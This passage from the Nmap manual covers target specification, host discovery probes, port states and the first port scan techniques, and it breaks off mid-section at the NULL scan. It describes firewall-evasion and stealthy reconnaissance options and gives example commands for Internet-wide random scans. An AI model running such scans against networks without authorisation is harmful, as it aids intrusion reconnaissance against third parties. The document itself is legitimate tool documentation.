--resume <filename>: Resume an aborted scan
--noninteractive: Disable runtime interactions via keyboard
--stylesheet <path/URL>: XSL stylesheet to transform XML output to HTML
--webxml: Reference stylesheet from Nmap.Org for more portable XML
--no-stylesheet: Prevent associating of XSL stylesheet w/XML output
MISC:
-6: Enable IPv6 scanning
-A: Enable OS detection, version detection, script scanning, and traceroute
--datadir <dirname>: Specify custom Nmap data file location
--send-eth/--send-ip: Send using raw ethernet frames or IP packets
--privileged: Assume that the user is fully privileged
--unprivileged: Assume the user lacks raw socket privileges
-V: Print version number
-h: Print this help summary page.
EXAMPLES:
nmap -v -A scanme.nmap.org
nmap -v -sn 192.168.0.0/16 10.0.0.0/8
nmap -v -iR 10000 -Pn -p 80
SEE THE MAN PAGE (https://nmap.org/book/man.html) FOR MORE OPTIONS AND EXAMPLES
TARGET SPECIFICATION
Everything on the Nmap command-line that isn't an
option (or option argument) is treated as a target
host specification. The simplest case is to specify
a target IP address or hostname for scanning.
When a hostname is given as a target, it is resolved
via the Domain Name System (DNS) to determine the IP
address to scan. If the name resolves to more than
one IP address, only the first one will be scanned.
To make Nmap scan all the resolved addresses instead
of only the first one, use the --resolve-all option.
Sometimes you wish to scan a whole network of
adjacent hosts. For this, Nmap supports CIDR-style
addressing. You can append /numbits to an IP address
or hostname and Nmap will scan every IP address for
which the first numbits are the same as for the
reference IP or hostname given. For example,
192.168.10.0/24 would scan the 256 hosts between
192.168.10.0 (binary: 11000000 10101000 00001010
00000000) and 192.168.10.255 (binary: 11000000
10101000 00001010 11111111), inclusive.
192.168.10.40/24 would scan exactly the same
targets. Given that the host scanme.nmap.org is at
the IP address 64.13.134.52, the specification
scanme.nmap.org/16 would scan the 65,536 IP
addresses between 64.13.0.0 and 64.13.255.255. The
smallest allowed value is /0, which targets the
whole Internet. The largest value for IPv4 is /32,
which scans just the named host or IP address
because all address bits are fixed. The largest
value for IPv6 is /128, which does the same thing.
CIDR notation is short but not always flexible
enough. For example, you might want to scan
192.168.0.0/16 but skip any IPs ending with .0 or
.255 because they may be used as subnet network and
broadcast addresses. Nmap supports this through
octet range addressing. Rather than specify a normal
IP address, you can specify a comma-separated list
of numbers or ranges for each octet. For example,
192.168.0-255.1-254 will skip all addresses in the
range that end in .0 or .255, and 192.168.3-5,7.1
will scan the four addresses 192.168.3.1,
192.168.4.1, 192.168.5.1, and 192.168.7.1. Either
side of a range may be omitted; the default values
are 0 on the left and 255 on the right. Using - by
itself is the same as 0-255, but remember to use 0-
in the first octet so the target specification
doesn't look like a command-line option. Ranges need
not be limited to the final octets: the specifier
0-255.0-255.13.37 will perform an Internet-wide scan
for all IP addresses ending in 13.37. This sort of
broad sampling can be useful for Internet surveys
and research.
IPv6 addresses can be specified by their fully
qualified IPv6 address or hostname or with CIDR
notation for subnets. Octet ranges aren't yet
supported for IPv6.
IPv6 addresses with non-global scope need to have a
zone ID suffix. On Unix systems, this is a percent
sign followed by an interface name; a complete
address might be fe80::a8bb:ccff:fedd:eeff%eth0. On
Windows, use an interface index number in place of
an interface name: fe80::a8bb:ccff:fedd:eeff%1. You
can see a list of interface indexes by running the
command netsh.exe interface ipv6 show interface.
Nmap accepts multiple host specifications on the
command line, and they don't need to be the same
type. The command nmap scanme.nmap.org 192.168.0.0/8
10.0.0,1,3-7.- does what you would expect.
While targets are usually specified on the command
lines, the following options are also available to
control target selection:
-iL inputfilename (Input from list)
Reads target specifications from inputfilename.
Passing a huge list of hosts is often awkward on
the command line, yet it is a common desire. For
example, your DHCP server might export a list of
10,000 current leases that you wish to scan. Or
maybe you want to scan all IP addresses except
for those to locate hosts using unauthorized
static IP addresses. Simply generate the list of
hosts to scan and pass that filename to Nmap as
an argument to the -iL option. Entries can be in
any of the formats accepted by Nmap on the
command line (IP address, hostname, CIDR, IPv6,
or octet ranges). Each entry must be separated
by one or more spaces, tabs, or newlines. You
can specify a hyphen (-) as the filename if you
want Nmap to read hosts from standard input
rather than an actual file.
The input file may contain comments that start
with # and extend to the end of the line.
-iR num hosts (Choose random targets)
For Internet-wide surveys and other research,
you may want to choose targets at random. The
num hosts argument tells Nmap how many IPs to
generate. Undesirable IPs such as those in
certain private, multicast, or unallocated
address ranges are automatically skipped. The
argument 0 can be specified for a never-ending
scan. Keep in mind that some network
administrators bristle at unauthorized scans of
their networks and may complain. Use this option
at your own risk! If you find yourself really
bored one rainy afternoon, try the command nmap
-Pn -sS -p 80 -iR 0 --open to locate random web
servers for browsing.
--exclude host1[,host2[,...]] (Exclude
hosts/networks)
Specifies a comma-separated list of targets to
be excluded from the scan even if they are part
of the overall network range you specify. The
list you pass in uses normal Nmap syntax, so it
can include hostnames, CIDR netblocks, octet
ranges, etc. This can be useful when the network
you wish to scan includes untouchable
mission-critical servers, systems that are known
to react adversely to port scans, or subnets
administered by other people.
--excludefile exclude_file (Exclude list from file)
This offers the same functionality as the
--exclude option, except that the excluded
targets are provided in a newline-, space-, or
tab-delimited exclude_file rather than on the
command line.
The exclude file may contain comments that start
with # and extend to the end of the line.
HOST DISCOVERY
One of the very first steps in any network
reconnaissance mission is to reduce a (sometimes
huge) set of IP ranges into a list of active or
interesting hosts. Scanning every port of every
single IP address is slow and usually unnecessary.
Of course what makes a host interesting depends
greatly on the scan purposes. Network administrators
may only be interested in hosts running a certain
service, while security auditors may care about
every single device with an IP address. An
administrator may be comfortable using just an ICMP
ping to locate hosts on his internal network, while
an external penetration tester may use a diverse set
of dozens of probes in an attempt to evade firewall
restrictions.
Because host discovery needs are so diverse, Nmap
offers a wide variety of options for customizing the
techniques used. Host discovery is sometimes called
ping scan, but it goes well beyond the simple ICMP
echo request packets associated with the ubiquitous
ping tool. Users can skip the discovery step
entirely with a list scan (-sL) or by disabling host
discovery (-Pn), or engage the network with
arbitrary combinations of multi-port TCP SYN/ACK,
UDP, SCTP INIT and ICMP probes. The goal of these
probes is to solicit responses which demonstrate
that an IP address is actually active (is being used
by a host or network device). On many networks, only
a small percentage of IP addresses are active at any
given time. This is particularly common with private
address space such as 10.0.0.0/8. That network has
16 million IPs, but I have seen it used by companies
with less than a thousand machines. Host discovery
can find those machines in a sparsely allocated sea
of IP addresses.
If no host discovery options are given, Nmap sends
an ICMP echo request, a TCP SYN packet to port 443,
a TCP ACK packet to port 80, and an ICMP timestamp
request. (For IPv6, the ICMP timestamp request is
omitted because it is not part of ICMPv6.) These
defaults are equivalent to the -PE -PS443 -PA80 -PP
options. The exceptions to this are the ARP (for
IPv4) and Neighbor Discovery (for IPv6) scans which
are used for any targets on a local ethernet
network. For unprivileged Unix shell users, the
default probes are a SYN packet to ports 80 and 443
using the connect system call. This host discovery
is often sufficient when scanning local networks,
but a more comprehensive set of discovery probes is
recommended for security auditing.
The -P* options (which select ping types) can be
combined. You can increase your odds of penetrating
strict firewalls by sending many probe types using
different TCP ports/flags and ICMP codes. Also note
that ARP/Neighbor Discovery is done by default
against targets on a local Ethernet network even if
you specify other -P* options, because it is almost
always faster and more effective.
By default, Nmap does host discovery and then
performs a port scan against each host it determines
is online. This is true even if you specify
non-default host discovery types such as UDP probes
(-PU). Read about the -sn option to learn how to
perform only host discovery, or use -Pn to skip host
discovery and port scan all target addresses. The
following options control host discovery:
-sL (List Scan)
The list scan is a degenerate form of host
discovery that simply lists each host of the
network(s) specified, without sending any
packets to the target hosts. By default, Nmap
still does reverse-DNS resolution on the hosts
to learn their names. It is often surprising how
much useful information simple hostnames give
out. For example, fw.chi is the name of one
company's Chicago firewall.
Nmap also reports the total number of IP
addresses at the end. The list scan is a good
sanity check to ensure that you have proper IP
addresses for your targets. If the hosts sport
domain names you do not recognize, it is worth
investigating further to prevent scanning the
wrong company's network.
Since the idea is to simply print a list of
target hosts, options for higher level
functionality such as port scanning, OS
detection, or host discovery cannot be combined
with this. If you wish to disable host discovery
while still performing such higher level
functionality, read up on the -Pn (skip host
discovery) option.
-sn (No port scan)
This option tells Nmap not to do a port scan
after host discovery, and only print out the
available hosts that responded to the host
discovery probes. This is often known as a “ping
scan”, but you can also request that traceroute
and NSE host scripts be run. This is by default
one step more intrusive than the list scan, and
can often be used for the same purposes. It
allows light reconnaissance of a target network
without attracting much attention. Knowing how
many hosts are up is more valuable to attackers
than the list provided by list scan of every
single IP and host name.
Systems administrators often find this option
valuable as well. It can easily be used to count
available machines on a network or monitor
server availability. This is often called a ping
sweep, and is more reliable than pinging the
broadcast address because many hosts do not
reply to broadcast queries.
The default host discovery done with -sn
consists of an ICMP echo request, TCP SYN to
port 443, TCP ACK to port 80, and an ICMP
timestamp request by default. When executed by
an unprivileged user, only SYN packets are sent
(using a connect call) to ports 80 and 443 on
the target. When a privileged user tries to scan
targets on a local ethernet network, ARP
requests are used unless --send-ip was
specified. The -sn option can be combined with
any of the discovery probe types (the -P*
options) for greater flexibility. If any of
those probe type and port number options are
used, the default probes are overridden. When
strict firewalls are in place between the source
host running Nmap and the target network, using
those advanced techniques is recommended.
Otherwise hosts could be missed when the
firewall drops probes or their responses.
In previous releases of Nmap, -sn was known as
-sP.
-Pn (No ping)
This option skips the host discovery stage
altogether. Normally, Nmap uses this stage to
determine active machines for heavier scanning
and to gauge the speed of the network. By
default, Nmap only performs heavy probing such
as port scans, version detection, or OS
detection against hosts that are found to be up.
Disabling host discovery with -Pn causes Nmap to
attempt the requested scanning functions against
every target IP address specified. So if a /16
sized network is specified on the command line,
all 65,536 IP addresses are scanned. Proper host
discovery is skipped as with the list scan, but
instead of stopping and printing the target
list, Nmap continues to perform requested
functions as if each target IP is active.
Default timing parameters are used, which may
result in slower scans. To skip host discovery
and port scan, while still allowing NSE to run,
use the two options -Pn -sn together.
For machines on a local ethernet network, ARP
scanning will still be performed (unless
--disable-arp-ping or --send-ip is specified)
because Nmap needs MAC addresses to further scan
target hosts. In previous versions of Nmap, -Pn
was -P0 and -PN.
-PS port list (TCP SYN Ping)
This option sends an empty TCP packet with the
SYN flag set. The default destination port is 80
(configurable at compile time by changing
DEFAULT_TCP_PROBE_PORT_SPEC in nmap.h).
Alternate ports can be specified as a parameter.
The syntax is the same as for the -p except that
port type specifiers like T: are not allowed.
Examples are -PS22 and
-PS22-25,80,113,1050,35000. Note that there can
be no space between -PS and the port list. If
multiple probes are specified they will be sent
in parallel.
The SYN flag suggests to the remote system that
you are attempting to establish a connection.
Normally the destination port will be closed,
and a RST (reset) packet sent back. If the port
happens to be open, the target will take the
second step of a TCP three-way-handshake by
responding with a SYN/ACK TCP packet. The
machine running Nmap then tears down the nascent
connection by responding with a RST rather than
sending an ACK packet which would complete the
three-way-handshake and establish a full
connection. The RST packet is sent by the kernel
of the machine running Nmap in response to the
unexpected SYN/ACK, not by Nmap itself.
Nmap does not care whether the port is open or
closed. Either the RST or SYN/ACK response
discussed previously tell Nmap that the host is
available and responsive.
On Unix boxes, only the privileged user root is
generally able to send and receive raw TCP
packets. For unprivileged users, a workaround
is automatically employed whereby the connect
system call is initiated against each target
port. This has the effect of sending a SYN
packet to the target host, in an attempt to
establish a connection. If connect returns with
a quick success or an ECONNREFUSED failure, the
underlying TCP stack must have received a
SYN/ACK or RST and the host is marked available.
If the connection attempt is left hanging until
a timeout is reached, the host is marked as
down.
-PA port list (TCP ACK Ping)
The TCP ACK ping is quite similar to the
just-discussed SYN ping. The difference, as you
could likely guess, is that the TCP ACK flag is
set instead of the SYN flag. Such an ACK packet
purports to be acknowledging data over an
established TCP connection, but no such
connection exists. So remote hosts should always
respond with a RST packet, disclosing their
existence in the process.
The -PA option uses the same default port as the
SYN probe (80) and can also take a list of
destination ports in the same format. If an
unprivileged user tries this, the connect
workaround discussed previously is used. This
workaround is imperfect because connect is
actually sending a SYN packet rather than an
ACK.
The reason for offering both SYN and ACK ping
probes is to maximize the chances of bypassing
firewalls. Many administrators configure routers
and other simple firewalls to block incoming SYN
packets except for those destined for public
services like the company web site or mail
server. This prevents other incoming connections
to the organization, while allowing users to
make unobstructed outgoing connections to the
Internet. This non-stateful approach takes up
few resources on the firewall/router and is
widely supported by hardware and software
filters. The Linux Netfilter/iptables firewall
software offers the --syn convenience option to
implement this stateless approach. When
stateless firewall rules such as this are in
place, SYN ping probes (-PS) are likely to be
blocked when sent to closed target ports. In
such cases, the ACK probe shines as it cuts
right through these rules.
Another common type of firewall uses stateful
rules that drop unexpected packets. This feature
was initially found mostly on high-end
firewalls, though it has become much more common
over the years. The Linux Netfilter/iptables
system supports this through the --state option,
which categorizes packets based on connection
state. A SYN probe is more likely to work
against such a system, as unexpected ACK packets
are generally recognized as bogus and dropped. A
solution to this quandary is to send both SYN
and ACK probes by specifying -PS and -PA.
-PU port list (UDP Ping)
Another host discovery option is the UDP ping,
which sends a UDP packet to the given ports. For
most ports, the packet will be empty, though
some use a protocol-specific payload that is
more likely to elicit a response. The payload
database is described at
https://nmap.org/book/nmap-payloads.html.
Packet content can also be affected with the
--data, --data-string, and --data-length
options.
The port list takes the same format as with the
previously discussed -PS and -PA options. If no
ports are specified, the default is 40125. This
default can be configured at compile-time by
changing DEFAULT_UDP_PROBE_PORT_SPEC in nmap.h.
A highly uncommon port is used by default
because sending to open ports is often
undesirable for this particular scan type.
Upon hitting a closed port on the target
machine, the UDP probe should elicit an ICMP
port unreachable packet in return. This
signifies to Nmap that the machine is up and
available. Many other types of ICMP errors, such
as host/network unreachables or TTL exceeded are
indicative of a down or unreachable host. A lack
of response is also interpreted this way. If an
open port is reached, most services simply
ignore the empty packet and fail to return any
response. This is why the default probe port is
40125, which is highly unlikely to be in use. A
few services, such as the Character Generator
(chargen) protocol, will respond to an empty UDP
packet, and thus disclose to Nmap that the
machine is available.
The primary advantage of this scan type is that
it bypasses firewalls and filters that only
screen TCP. For example, I once owned a Linksys
BEFW11S4 wireless broadband router. The external
interface of this device filtered all TCP ports
by default, but UDP probes would still elicit
port unreachable messages and thus give away the
device.
-PY port list (SCTP INIT Ping)
This option sends an SCTP packet containing a
minimal INIT chunk. The default destination port
is 80 (configurable at compile time by changing
DEFAULT_SCTP_PROBE_PORT_SPEC in nmap.h).
Alternate ports can be specified as a parameter.
The syntax is the same as for the -p except that
port type specifiers like S: are not allowed.
Examples are -PY22 and -PY22,80,179,5060. Note
that there can be no space between -PY and the
port list. If multiple probes are specified they
will be sent in parallel.
The INIT chunk suggests to the remote system
that you are attempting to establish an
association. Normally the destination port will
be closed, and an ABORT chunk will be sent back.
If the port happens to be open, the target will
take the second step of an SCTP
four-way-handshake by responding with an
INIT-ACK chunk. If the machine running Nmap has
a functional SCTP stack, then it tears down the
nascent association by responding with an ABORT
chunk rather than sending a COOKIE-ECHO chunk
which would be the next step in the
four-way-handshake. The ABORT packet is sent by
the kernel of the machine running Nmap in
response to the unexpected INIT-ACK, not by Nmap
itself.
Nmap does not care whether the port is open or
closed. Either the ABORT or INIT-ACK response
discussed previously tell Nmap that the host is
available and responsive.
On Unix boxes, only the privileged user root is
generally able to send and receive raw SCTP
packets. Using SCTP INIT Pings is currently not
possible for unprivileged users.
-PE; -PP; -PM (ICMP Ping Types)
In addition to the unusual TCP, UDP and SCTP
host discovery types discussed previously, Nmap
can send the standard packets sent by the
ubiquitous ping program. Nmap sends an ICMP type
8 (echo request) packet to the target IP
addresses, expecting a type 0 (echo reply) in
return from available hosts. Unfortunately for
network explorers, many hosts and firewalls now
block these packets, rather than responding as
required by RFC 1122[2]. For this reason,
ICMP-only scans are rarely reliable enough
against unknown targets over the Internet. But
for system administrators monitoring an internal
network, they can be a practical and efficient
approach. Use the -PE option to enable this echo
request behavior.
While echo request is the standard ICMP ping
query, Nmap does not stop there. The ICMP
standards (RFC 792[3] and RFC 950[4] ) also
specify timestamp request, information request,
and address mask request packets as codes 13,
15, and 17, respectively. While the ostensible
purpose for these queries is to learn
information such as address masks and current
times, they can easily be used for host
discovery. A system that replies is up and
available. Nmap does not currently implement
information request packets, as they are not
widely supported. RFC 1122 insists that “a host
SHOULD NOT implement these messages”. Timestamp
and address mask queries can be sent with the
-PP and -PM options, respectively. A timestamp
reply (ICMP code 14) or address mask reply (code
18) discloses that the host is available. These
two queries can be valuable when administrators
specifically block echo request packets while
forgetting that other ICMP queries can be used
for the same purpose.
-PO protocol list (IP Protocol Ping)
One of the newer host discovery options is the
IP protocol ping, which sends IP packets with
the specified protocol number set in their IP
header. The protocol list takes the same format
as do port lists in the previously discussed
TCP, UDP and SCTP host discovery options. If no
protocols are specified, the default is to send
multiple IP packets for ICMP (protocol 1), IGMP
(protocol 2), and IP-in-IP (protocol 4). The
default protocols can be configured at
compile-time by changing
DEFAULT_PROTO_PROBE_PORT_SPEC in nmap.h. Note
that for the ICMP, IGMP, TCP (protocol 6), UDP
(protocol 17) and SCTP (protocol 132), the
packets are sent with the proper protocol
headers while other protocols are sent with no
additional data beyond the IP header (unless any
of --data, --data-string, or --data-length
options are specified).
This host discovery method looks for either
responses using the same protocol as a probe, or
ICMP protocol unreachable messages which signify
that the given protocol isn't supported on the
destination host. Either type of response
signifies that the target host is alive.
--disable-arp-ping (No ARP or ND Ping)
Nmap normally does ARP or IPv6 Neighbor
Discovery (ND) discovery of locally connected
ethernet hosts, even if other host discovery
options such as -Pn or -PE are used. To disable
this implicit behavior, use the
--disable-arp-ping option.
The default behavior is normally faster, but
this option is useful on networks using proxy
ARP, in which a router speculatively replies to
all ARP requests, making every target appear to
be up according to ARP scan.
--discovery-ignore-rst
In some cases, firewalls may spoof TCP reset
(RST) replies in response to probes to
unoccupied or disallowed addresses. Since Nmap
ordinarily considers RST replies to be proof
that the target is up, this can lead to wasted
time scanning targets that aren't there. Using
the --discovery-ignore-rst will prevent Nmap
from considering these replies during host
discovery. You may need to select extra host
discovery options to ensure you don't miss
targets in this case.
--traceroute (Trace path to host)
Traceroutes are performed post-scan using
information from the scan results to determine
the port and protocol most likely to reach the
target. It works with all scan types except
connect scans (-sT) and idle scans (-sI). All
traces use Nmap's dynamic timing model and are
performed in parallel.
Traceroute works by sending packets with a low
TTL (time-to-live) in an attempt to elicit ICMP
Time Exceeded messages from intermediate hops
between the scanner and the target host.
Standard traceroute implementations start with a
TTL of 1 and increment the TTL until the
destination host is reached. Nmap's traceroute
starts with a high TTL and then decrements the
TTL until it reaches zero. Doing it backwards
lets Nmap employ clever caching algorithms to
speed up traces over multiple hosts. On average
Nmap sends 5–10 fewer packets per host,
depending on network conditions. If a single
subnet is being scanned (i.e. 192.168.0.0/24)
Nmap may only have to send two packets to most
hosts.
-n (No DNS resolution)
Tells Nmap to never do reverse DNS resolution on
the active IP addresses it finds. Since DNS can
be slow even with Nmap's built-in parallel stub
resolver, this option can slash scanning times.
-R (DNS resolution for all targets)
Tells Nmap to always do reverse DNS resolution
on the target IP addresses. Normally reverse DNS
is only performed against responsive (online)
hosts.
--resolve-all (Scan each resolved address)
If a hostname target resolves to more than one
address, scan all of them. The default behavior
is to only scan the first resolved address.
Regardless, only addresses in the appropriate
address family will be scanned: IPv4 by default,
IPv6 with -6.
--system-dns (Use system DNS resolver)
By default, Nmap reverse-resolves IP addresses
by sending queries directly to the name servers
configured on your host and then listening for
responses. Many requests (often dozens) are
performed in parallel to improve performance.
Specify this option to use your system resolver
instead (one IP at a time via the getnameinfo
call). This is slower and rarely useful unless
you find a bug in the Nmap parallel resolver
(please let us know if you do). The system
resolver is always used for forward lookups
(getting an IP address from a hostname).
--dns-servers server1[,server2[,...]] (Servers to
use for reverse DNS queries)
By default, Nmap determines your DNS servers
(for rDNS resolution) from your resolv.conf file
(Unix) or the Registry (Win32). Alternatively,
you may use this option to specify alternate
servers. This option is not honored if you are
using --system-dns. Using multiple DNS servers
is often faster, especially if you choose
authoritative servers for your target IP space.
This option can also improve stealth, as your
requests can be bounced off just about any
recursive DNS server on the Internet.
This option also comes in handy when scanning
private networks. Sometimes only a few name
servers provide proper rDNS information, and you
may not even know where they are. You can scan
the network for port 53 (perhaps with version
detection), then try Nmap list scans (-sL)
specifying each name server one at a time with
--dns-servers until you find one which works.
This option might not be honored if the DNS
response exceeds the size of a UDP packet. In
such a situation our DNS resolver will make the
best effort to extract a response from the
truncated packet, and if not successful it will
fall back to using the system resolver. Also,
responses that contain CNAME aliases will fall
back to the system resolver.
PORT SCANNING BASICS
While Nmap has grown in functionality over the
years, it began as an efficient port scanner, and
that remains its core function. The simple command
nmap target scans 1,000 TCP ports on the host
target. While many port scanners have traditionally
lumped all ports into the open or closed states,
Nmap is much more granular. It divides ports into
six states: open, closed, filtered, unfiltered,
open|filtered, or closed|filtered.
These states are not intrinsic properties of the
port itself, but describe how Nmap sees them. For
example, an Nmap scan from the same network as the
target may show port 135/tcp as open, while a scan
at the same time with the same options from across
the Internet might show that port as filtered.
The six port states recognized by Nmap
open
An application is actively accepting TCP
connections, UDP datagrams or SCTP associations
on this port. Finding these is often the primary
goal of port scanning. Security-minded people
know that each open port is an avenue for
attack. Attackers and pen-testers want to
exploit the open ports, while administrators try
to close or protect them with firewalls without
thwarting legitimate users. Open ports are also
interesting for non-security scans because they
show services available for use on the network.
closed
A closed port is accessible (it receives and
responds to Nmap probe packets), but there is no
application listening on it. They can be helpful
in showing that a host is up on an IP address
(host discovery, or ping scanning), and as part
of OS detection. Because closed ports are
reachable, it may be worth scanning later in
case some open up. Administrators may want to
consider blocking such ports with a firewall.
Then they would appear in the filtered state,
discussed next.
filtered
Nmap cannot determine whether the port is open
because packet filtering prevents its probes
from reaching the port. The filtering could be
from a dedicated firewall device, router rules,
or host-based firewall software. These ports
frustrate attackers because they provide so
little information. Sometimes they respond with
ICMP error messages such as type 3 code 13
(destination unreachable: communication
administratively prohibited), but filters that
simply drop probes without responding are far
more common. This forces Nmap to retry several
times just in case the probe was dropped due to
network congestion rather than filtering. This
slows down the scan dramatically.
unfiltered
The unfiltered state means that a port is
accessible, but Nmap is unable to determine
whether it is open or closed. Only the ACK scan,
which is used to map firewall rulesets,
classifies ports into this state. Scanning
unfiltered ports with other scan types such as
Window scan, SYN scan, or FIN scan, may help
resolve whether the port is open.
open|filtered
Nmap places ports in this state when it is
unable to determine whether a port is open or
filtered. This occurs for scan types in which
open ports give no response. The lack of
response could also mean that a packet filter
dropped the probe or any response it elicited.
So Nmap does not know for sure whether the port
is open or being filtered. The UDP, IP protocol,
FIN, NULL, and Xmas scans classify ports this
way.
closed|filtered
This state is used when Nmap is unable to
determine whether a port is closed or filtered.
It is only used for the IP ID idle scan.
PORT SCANNING TECHNIQUES
As a novice performing automotive repair, I can
struggle for hours trying to fit my rudimentary
tools (hammer, duct tape, wrench, etc.) to the task
at hand. When I fail miserably and tow my jalopy to
a real mechanic, he invariably fishes around in a
huge tool chest until pulling out the perfect gizmo
which makes the job seem effortless. The art of port
scanning is similar. Experts understand the dozens
of scan techniques and choose the appropriate one
(or combination) for a given task. Inexperienced
users and script kiddies, on the other hand, try to
solve every problem with the default SYN scan. Since
Nmap is free, the only barrier to port scanning
mastery is knowledge. That certainly beats the
automotive world, where it may take great skill to
determine that you need a strut spring compressor,
then you still have to pay thousands of dollars for
it.
Most of the scan types are only available to
privileged users. This is because they send and
receive raw packets, which requires root access on
Unix systems. Using an administrator account on
Windows is recommended, though Nmap sometimes works
for unprivileged users on that platform when Npcap
has already been loaded into the OS. Requiring root
privileges was a serious limitation when Nmap was
released in 1997, as many users only had access to
shared shell accounts. Now, the world is different.
Computers are cheaper, far more people have
always-on direct Internet access, and desktop Unix
systems (including Linux and Mac OS X) are
prevalent. A Windows version of Nmap is now
available, allowing it to run on even more desktops.
For all these reasons, users have less need to run
Nmap from limited shared shell accounts. This is
fortunate, as the privileged options make Nmap far
more powerful and flexible.
While Nmap attempts to produce accurate results,
keep in mind that all of its insights are based on
packets returned by the target machines (or
firewalls in front of them). Such hosts may be
untrustworthy and send responses intended to confuse
or mislead Nmap. Much more common are
non-RFC-compliant hosts that do not respond as they
should to Nmap probes. FIN, NULL, and Xmas scans are
particularly susceptible to this problem. Such
issues are specific to certain scan types and so are
discussed in the individual scan type entries.
This section documents the dozen or so port scan
techniques supported by Nmap. Only one method may be
used at a time, except that UDP scan (-sU) and any
one of the SCTP scan types (-sY, -sZ) may be
combined with any one of the TCP scan types. As a
memory aid, port scan type options are of the form
-sC, where C is a prominent character in the scan
name, usually the first. The one exception to this
is the deprecated FTP bounce scan (-b). By default,
Nmap performs a SYN Scan, though it substitutes a
connect scan if the user does not have proper
privileges to send raw packets (requires root access
on Unix). Of the scans listed in this section,
unprivileged users can only execute connect and FTP
bounce scans.
-sS (TCP SYN scan)
SYN scan is the default and most popular scan
option for good reasons. It can be performed
quickly, scanning thousands of ports per second
on a fast network not hampered by restrictive
firewalls. It is also relatively unobtrusive and
stealthy since it never completes TCP
connections. SYN scan works against any
compliant TCP stack rather than depending on
idiosyncrasies of specific platforms as Nmap's
FIN/NULL/Xmas, Maimon and idle scans do. It also
allows clear, reliable differentiation between
the open, closed, and filtered states.
This technique is often referred to as half-open
scanning, because you don't open a full TCP
connection. You send a SYN packet, as if you are
going to open a real connection and then wait
for a response. A SYN/ACK indicates the port is
listening (open), while a RST (reset) is
indicative of a non-listener. If no response is
received after several retransmissions, the port
is marked as filtered. The port is also marked
filtered if an ICMP unreachable error (type 3,
code 0, 1, 2, 3, 9, 10, or 13) is received. The
port is also considered open if a SYN packet
(without the ACK flag) is received in response.
This can be due to an extremely rare TCP feature
known as a simultaneous open or split handshake
connection (see
https://nmap.org/misc/split-handshake.pdf).
-sT (TCP connect scan)
TCP connect scan is the default TCP scan type
when SYN scan is not an option. This is the case
when a user does not have raw packet privileges.
Instead of writing raw packets as most other
scan types do, Nmap asks the underlying
operating system to establish a connection with
the target machine and port by issuing the
connect system call. This is the same high-level
system call that web browsers, P2P clients, and
most other network-enabled applications use to
establish a connection. It is part of a
programming interface known as the Berkeley
Sockets API. Rather than read raw packet
responses off the wire, Nmap uses this API to
obtain status information on each connection
attempt.
When SYN scan is available, it is usually a
better choice. Nmap has less control over the
high level connect call than with raw packets,
making it less efficient. The system call
completes connections to open target ports
rather than performing the half-open reset that
SYN scan does. Not only does this take longer
and require more packets to obtain the same
information, but target machines are more likely
to log the connection. A decent IDS will catch
either, but most machines have no such alarm
system. Many services on your average Unix
system will add a note to syslog, and sometimes
a cryptic error message, when Nmap connects and
then closes the connection without sending data.
Truly pathetic services crash when this happens,
though that is uncommon. An administrator who
sees a bunch of connection attempts in her logs
from a single system should know that she has
been connect scanned.
-sU (UDP scans)
While most popular services on the Internet run
over the TCP protocol, UDP[5] services are
widely deployed. DNS, SNMP, and DHCP (registered
ports 53, 161/162, and 67/68) are three of the
most common. Because UDP scanning is generally
slower and more difficult than TCP, some
security auditors ignore these ports. This is a
mistake, as exploitable UDP services are quite
common and attackers certainly don't ignore the
whole protocol. Fortunately, Nmap can help
inventory UDP ports.
UDP scan is activated with the -sU option. It
can be combined with a TCP scan type such as SYN
scan (-sS) to check both protocols during the
same run.
UDP scan works by sending a UDP packet to every
targeted port. For some common ports such as 53
and 161, a protocol-specific payload is sent to
increase response rate, but for most ports the
packet is empty unless the --data,
--data-string, or --data-length options are
specified. If an ICMP port unreachable error
(type 3, code 3) is returned, the port is
closed. Other ICMP unreachable errors (type 3,
codes 0, 1, 2, 9, 10, or 13) mark the port as
filtered. Occasionally, a service will respond
with a UDP packet, proving that it is open. If
no response is received after retransmissions,
the port is classified as open|filtered. This
means that the port could be open, or perhaps
packet filters are blocking the communication.
Version detection (-sV) can be used to help
differentiate the truly open ports from the
filtered ones.
A big challenge with UDP scanning is doing it
quickly. Open and filtered ports rarely send any
response, leaving Nmap to time out and then
conduct retransmissions just in case the probe
or response were lost. Closed ports are often an
even bigger problem. They usually send back an
ICMP port unreachable error. But unlike the RST
packets sent by closed TCP ports in response to
a SYN or connect scan, many hosts rate limit
ICMP port unreachable messages by default. Linux
and Solaris are particularly strict about this.
For example, the Linux 2.4.20 kernel limits
destination unreachable messages to one per
second (in net/ipv4/icmp.c).
Nmap detects rate limiting and slows down
accordingly to avoid flooding the network with
useless packets that the target machine will
drop. Unfortunately, a Linux-style limit of one
packet per second makes a 65,536-port scan take
more than 18 hours. Ideas for speeding your UDP
scans up include scanning more hosts in
parallel, doing a quick scan of just the popular
ports first, scanning from behind the firewall,
and using --host-timeout to skip slow hosts.
-sY (SCTP INIT scan)
SCTP[6] is a relatively new alternative to the
TCP and UDP protocols, combining most
characteristics of TCP and UDP, and also adding
new features like multi-homing and
multi-streaming. It is mostly being used for
SS7/SIGTRAN related services but has the
potential to be used for other applications as
well. SCTP INIT scan is the SCTP equivalent of a
TCP SYN scan. It can be performed quickly,
scanning thousands of ports per second on a fast
network not hampered by restrictive firewalls.
Like SYN scan, INIT scan is relatively
unobtrusive and stealthy, since it never
completes SCTP associations. It also allows
clear, reliable differentiation between the
open, closed, and filtered states.
This technique is often referred to as half-open
scanning, because you don't open a full SCTP
association. You send an INIT chunk, as if you
are going to open a real association and then
wait for a response. An INIT-ACK chunk indicates
the port is listening (open), while an ABORT
chunk is indicative of a non-listener. If no
response is received after several
retransmissions, the port is marked as filtered.
The port is also marked filtered if an ICMP
unreachable error (type 3, code 0, 1, 2, 3, 9,
10, or 13) is received.
-sN; -sF; -sX (TCP NULL, FIN, and Xmas scans)
These three scan types (even more are possible
with the --scanflags option described in the
next section) exploit a subtle loophole in the
TCP RFC[7] to differentiate between open and
closed ports. Page 65 of RFC 793 says that “if
the [destination] port state is CLOSED .... an
incoming segment not containing a RST causes a
RST to be sent in response.” Then the next page
discusses packets sent to open ports without the
SYN, RST, or ACK bits set, stating that: “you
are unlikely to get here, but if you do, drop
the segment, and return.”
When scanning systems compliant with this RFC
text, any packet not containing SYN, RST, or ACK
bits will result in a returned RST if the port
is closed and no response at all if the port is
open. As long as none of those three bits are
included, any combination of the other three
(FIN, PSH, and URG) are OK. Nmap exploits this
with three scan types:
Null scan (-sN)
